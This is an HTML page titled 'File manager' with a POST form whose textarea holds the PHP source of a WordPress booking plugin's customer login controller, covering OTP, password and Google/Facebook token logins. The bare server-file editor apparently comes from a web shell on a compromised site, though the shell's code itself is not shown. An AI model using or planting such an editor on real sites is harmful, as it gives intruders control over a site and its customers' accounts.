File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}


if ( ! class_exists( &#039;OsAuthController&#039; ) ) :


	class OsAuthController extends OsController {

		function __construct() {
			parent::__construct();
			$this-&gt;action_access[&#039;public&#039;] = array_merge( $this-&gt;action_access[&#039;public&#039;], [
				&#039;logout_customer&#039;,
				&#039;login_customer&#039;,
				&#039;login_customer_using_social_data&#039;,
				&#039;login_customer_using_google_token&#039;,
				&#039;login_customer_using_facebook_token&#039;,
				&#039;request_otp&#039;,
				&#039;verify_otp&#039;
			] );
			$this-&gt;views_folder            = LATEPOINT_VIEWS_ABSPATH . &#039;auth/&#039;;
		}

		public function verify_otp(){
			$this-&gt;check_nonce( &#039;otp_verify_otp_nonce&#039;, $this-&gt;params[&#039;otp&#039;][&#039;verify_nonce&#039;] );
			$otp_verification_params = $this-&gt;params_for_otp_verification();
			$otp_code = $otp_verification_params[&#039;otp_code&#039;];
			$contact_type = $otp_verification_params[&#039;contact_type&#039;];
			$contact_value = $otp_verification_params[&#039;contact_value&#039;];

			$result = OsOTPHelper::verifyOTP($otp_code, $contact_value, $contact_type, &#039;email&#039;);

			$message = __(&#039;Invalid Code&#039;, &#039;latepoint&#039;);
			$status = LATEPOINT_STATUS_ERROR;

			if ( is_wp_error($result) ) {
				$message = $result-&gt;get_error_message();
			}elseif($result[&#039;status&#039;] == LATEPOINT_STATUS_ERROR){
				$message = $result[&#039;message&#039;];
			}elseif($result[&#039;status&#039;] == LATEPOINT_STATUS_SUCCESS) {
				// Success
				$status = LATEPOINT_STATUS_SUCCESS;
				$message = OsOTPHelper::create_verification_token($contact_value, $contact_type);
				// if auth is enabled - make sure customer is logged in
				if(OsAuthHelper::is_customer_auth_enabled() &amp;&amp; !OsAuthHelper::is_customer_logged_in()){
					$customer = OsCustomerHelper::get_by_contact($contact_value, $contact_type);
					if($customer &amp;&amp; !$customer-&gt;is_new_record()){
						OsAuthHelper::authorize_customer($customer-&gt;id);
					}
				}
			}
			$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $message ) );
		}


		public function request_otp(){
			$this-&gt;check_nonce( &#039;auth_nonce&#039;, $this-&gt;params[&#039;auth&#039;][&#039;nonce&#039;] );

			$auth_params = $this-&gt;params_for_otp_request();
			$contact_type = $auth_params[&#039;contact_type&#039;];
			$contact_value = $auth_params[$contact_type];
			$delivery_method = $auth_params[&#039;delivery_method&#039;];

			if(OsAuthHelper::is_classic_auth_flow()){
				// in classic flow - you can&#039;t send a OTP request to a non existent account
				$customer = new OsCustomerModel();
				if($contact_type == &#039;email&#039;){
					$existing_customer = $customer-&gt;where([&#039;email&#039; =&gt; $contact_value])-&gt;set_limit(1)-&gt;get_results_as_models();
					if(!$existing_customer){
						$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; __(&#039;We don\&#039;t recognize this email. Double-check it or create an account.&#039;, &#039;latepoint&#039;) ) );
					}
				}elseif($contact_type == &#039;phone&#039;){
					$existing_customer = $customer-&gt;where([&#039;phone&#039; =&gt; $contact_value])-&gt;set_limit(1)-&gt;get_results_as_models();
					if(!$existing_customer){
						$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; __(&#039;We don\&#039;t recognize this phone number. Double-check it or create an account.&#039;, &#039;latepoint&#039;) ) );
					}
				}
			}

			$result = OsOTPHelper::generateAndSendOTP($contact_value, $contact_type, $delivery_method);

			$message = __(&#039;Error sending OTP&#039;, &#039;latepoint&#039;);
			$status = LATEPOINT_STATUS_ERROR;

			if ( is_wp_error($result) ) {
				$message = $result-&gt;get_error_message();
			}elseif($result[&#039;status&#039;] == LATEPOINT_STATUS_ERROR){
				$message = $result[&#039;message&#039;];
			}elseif($result[&#039;status&#039;] == LATEPOINT_STATUS_SUCCESS){
				// Success
				$status = LATEPOINT_STATUS_SUCCESS;
				$message = OsOTPHelper::otp_input_box_html($contact_type, $contact_value, $delivery_method);
			}
			$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $message ) );
		}


		private function params_for_otp_verification(): array {
			$params = OsParamsHelper::get_param( &#039;otp&#039; );
			if ( empty( $params ) ) {
				return [];
			}

			$otp_params = OsParamsHelper::permit_params( $params, [
				&#039;contact_value&#039;,
				&#039;contact_type&#039;,
				&#039;delivery_method&#039;,
				&#039;otp_code&#039;
			] );

			$otp_params[&#039;otp_code&#039;] = sanitize_text_field( $otp_params[&#039;otp_code&#039;] );
			$otp_params[&#039;delivery_method&#039;] = sanitize_text_field( $otp_params[&#039;delivery_method&#039;] );

			if($otp_params[&#039;contact_type&#039;] == &#039;phone&#039;){
				$otp_params[&#039;contact_value&#039;] = sanitize_text_field( $otp_params[&#039;contact_value&#039;] );
			}

			if($otp_params[&#039;contact_type&#039;] == &#039;email&#039;){
				$otp_params[&#039;contact_value&#039;] = sanitize_email( $otp_params[&#039;contact_value&#039;] );
			}

			/**
			 * Filtered auth params for steps
			 *
			 * @param {array} $otp_params a filtered array of auth params
			 * @param {array} $params unfiltered &#039;auth&#039; params
			 * @returns {array} $otp_params a filtered array of auth params
			 *
			 * @since 5.2.0
			 * @hook latepoint_auth_params_for_otp_verification
			 *
			 */
			return apply_filters( &#039;latepoint_auth_params_for_otp_verification&#039;, $otp_params, $params );
		}

		private function params_for_otp_request(): array {
			$params = OsParamsHelper::get_param( &#039;auth&#039; );
			if ( empty( $params ) ) {
				return [];
			}

			$auth_params = OsParamsHelper::permit_params( $params, [
				&#039;email&#039;,
				&#039;phone&#039;,
				&#039;contact_type&#039;,
				&#039;delivery_method&#039;,
				&#039;otp_code&#039;
			] );

			if ( ! empty( $auth_params[&#039;email&#039;] ) ) {
				$auth_params[&#039;email&#039;] = sanitize_email( $auth_params[&#039;email&#039;] );
			}
			if ( ! empty( $auth_params[&#039;phone&#039;] ) ) {
				$auth_params[&#039;phone&#039;] = sanitize_text_field( $auth_params[&#039;phone&#039;] );
			}
			if ( ! empty( $auth_params[&#039;otp_code&#039;] ) ) {
				$auth_params[&#039;otp_code&#039;] = sanitize_text_field( $auth_params[&#039;otp_code&#039;] );
			}

			/**
			 * Filtered auth params for steps
			 *
			 * @param {array} $auth_params a filtered array of auth params
			 * @param {array} $params unfiltered &#039;auth&#039; params
			 * @returns {array} $auth_params a filtered array of auth params
			 *
			 * @since 5.2.0
			 * @hook latepoint_params_for_otp_request
			 *
			 */
			return apply_filters( &#039;latepoint_params_for_otp_request&#039;, $auth_params, $params );
		}


		// Logs out customer and shows blank contact step
		public function logout_customer() {
			OsAuthHelper::logout_customer();

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; __( &#039;You have been logged out of your account.&#039;, &#039;latepoint&#039; ) ) );
			}
		}

		// Login customer and show contact step with prefilled info
		public function login_customer() {
			$contact_type = $this-&gt;params[&#039;auth&#039;][&#039;contact_type&#039;];
			$contact_value = ($contact_type == &#039;email&#039;) ? $this-&gt;params[&#039;auth&#039;][&#039;email&#039;] : $this-&gt;params[&#039;auth&#039;][&#039;phone&#039;];
			$customer = OsAuthHelper::login_customer( $contact_value, $this-&gt;params[&#039;auth&#039;][&#039;password&#039;], $this-&gt;params[&#039;auth&#039;][&#039;contact_type&#039;] );
			if ( $customer ) {
				$status        = LATEPOINT_STATUS_SUCCESS;
				$customer_id   = $customer-&gt;id;
				$response_html = __( &#039;Welcome back&#039;, &#039;latepoint&#039; );
			} else {
				$status        = LATEPOINT_STATUS_ERROR;
				if($contact_type == &#039;email&#039;){
					$response_html = __( &#039;Sorry, that email or password didn\&#039;t work.&#039;, &#039;latepoint&#039; );
				}elseif($contact_type == &#039;phone&#039;){
					$response_html = __( &#039;Sorry, that phone number or password didn\&#039;t work.&#039;, &#039;latepoint&#039; );
				}else{
					$response_html = __( &#039;Sorry, that didn\&#039;t work.&#039;, &#039;latepoint&#039; );
				}
				$customer_id   = &#039;&#039;;
			}
			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html, &#039;customer_id&#039; =&gt; $customer_id ) );
			}
		}

		public function login_customer_using_social_data( $network, $social_user ) {
			$customer_id = &#039;&#039;;
			if ( isset( $social_user[&#039;social_id&#039;] ) ) {
				$customer_was_updated = false;
				$old_customer_data    = [];
				$social_id_field_name = $network . &#039;_user_id&#039;;
				$status               = LATEPOINT_STATUS_SUCCESS;
				$response_html        = $social_user[&#039;social_id&#039;];
				// Search for existing customer with email that google provided
				$customer = new OsCustomerModel();
				$customer = $customer-&gt;where( array( &#039;email&#039; =&gt; $social_user[&#039;email&#039;] ) )-&gt;set_limit( 1 )-&gt;get_results_as_models();
				if ( OsAuthHelper::can_wp_users_login_as_customers() ) {
					if ( $customer-&gt;wordpress_user_id != email_exists( $social_user[&#039;email&#039;] ) ) {
						$old_customer_data = $customer-&gt;get_data_vars();
						$customer-&gt;update_attributes( [ &#039;wordpress_user_id&#039; =&gt; null ] );
						$wp_user_id           = OsCustomerHelper::create_wp_user_for_customer( $customer );
						$customer_was_updated = true;
						if ( ! $wp_user_id ) {
							$status        = LATEPOINT_STATUS_ERROR;
							$response_html = __( &#039;Error creating wp user&#039;, &#039;latepoint&#039; );
						}
					}
				}
				// Create customer if its not found
				if ( ! $customer ) {
					$customer                        = new OsCustomerModel();
					$customer-&gt;first_name            = $social_user[&#039;first_name&#039;];
					$customer-&gt;last_name             = $social_user[&#039;last_name&#039;];
					$customer-&gt;email                 = $social_user[&#039;email&#039;];
					$customer-&gt;$social_id_field_name = $social_user[&#039;social_id&#039;];
					if ( ! $customer-&gt;save( true ) ) {
						$response_html = $customer-&gt;get_error_messages();
						$status        = LATEPOINT_STATUS_ERROR;
					} else {
						do_action( &#039;latepoint_customer_created&#039;, $customer );
					}
				}

				if ( ( $status == LATEPOINT_STATUS_SUCCESS ) &amp;&amp; $customer-&gt;id ) {
					$customer_id = $customer-&gt;id;
					// Update customer google user id if its not set yet
					if ( $customer-&gt;$social_id_field_name != $social_user[&#039;social_id&#039;] ) {
						$old_customer_data               = $customer-&gt;get_data_vars();
						$customer-&gt;$social_id_field_name = $social_user[&#039;social_id&#039;];
						$customer-&gt;save();
						$customer_was_updated = true;
					}
					OsAuthHelper::authorize_customer( $customer-&gt;id );
					$response_html = __( &#039;Welcome back&#039;, &#039;latepoint&#039; );
				}
				if ( $customer_was_updated &amp;&amp; $old_customer_data ) {
					do_action( &#039;latepoint_customer_updated&#039;, $customer, $old_customer_data );
				}
			} else {
				// ERROR WITH GOOGLE LOGIN
				$status        = LATEPOINT_STATUS_ERROR;
				$response_html = $social_user[&#039;error&#039;];
			}
			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html, &#039;customer_id&#039; =&gt; $customer_id ) );
			}

		}


		public function login_customer_using_google_token() {
			$social_user = [];
			$token       = sanitize_text_field( $this-&gt;params[&#039;token&#039;] );
			$social_user = apply_filters( &#039;latepoint_get_social_user_by_token&#039;, $social_user, &#039;google&#039;, $token );
			if ( !empty($social_user) ) {
				$this-&gt;login_customer_using_social_data( &#039;google&#039;, $social_user );
			}
		}

		public function login_customer_using_facebook_token() {
			$social_user = [];
			$token       = sanitize_text_field( $this-&gt;params[&#039;token&#039;] );
			$social_user = apply_filters( &#039;latepoint_get_social_user_by_token&#039;, $social_user, &#039;facebook&#039;, $token );
			if ( !empty($social_user) ) {
				$this-&gt;login_customer_using_social_data( &#039;facebook&#039;, $social_user );
			}
		}


	}
endif;</textarea><input type='submit' name='save' value='Save' style=''/></form>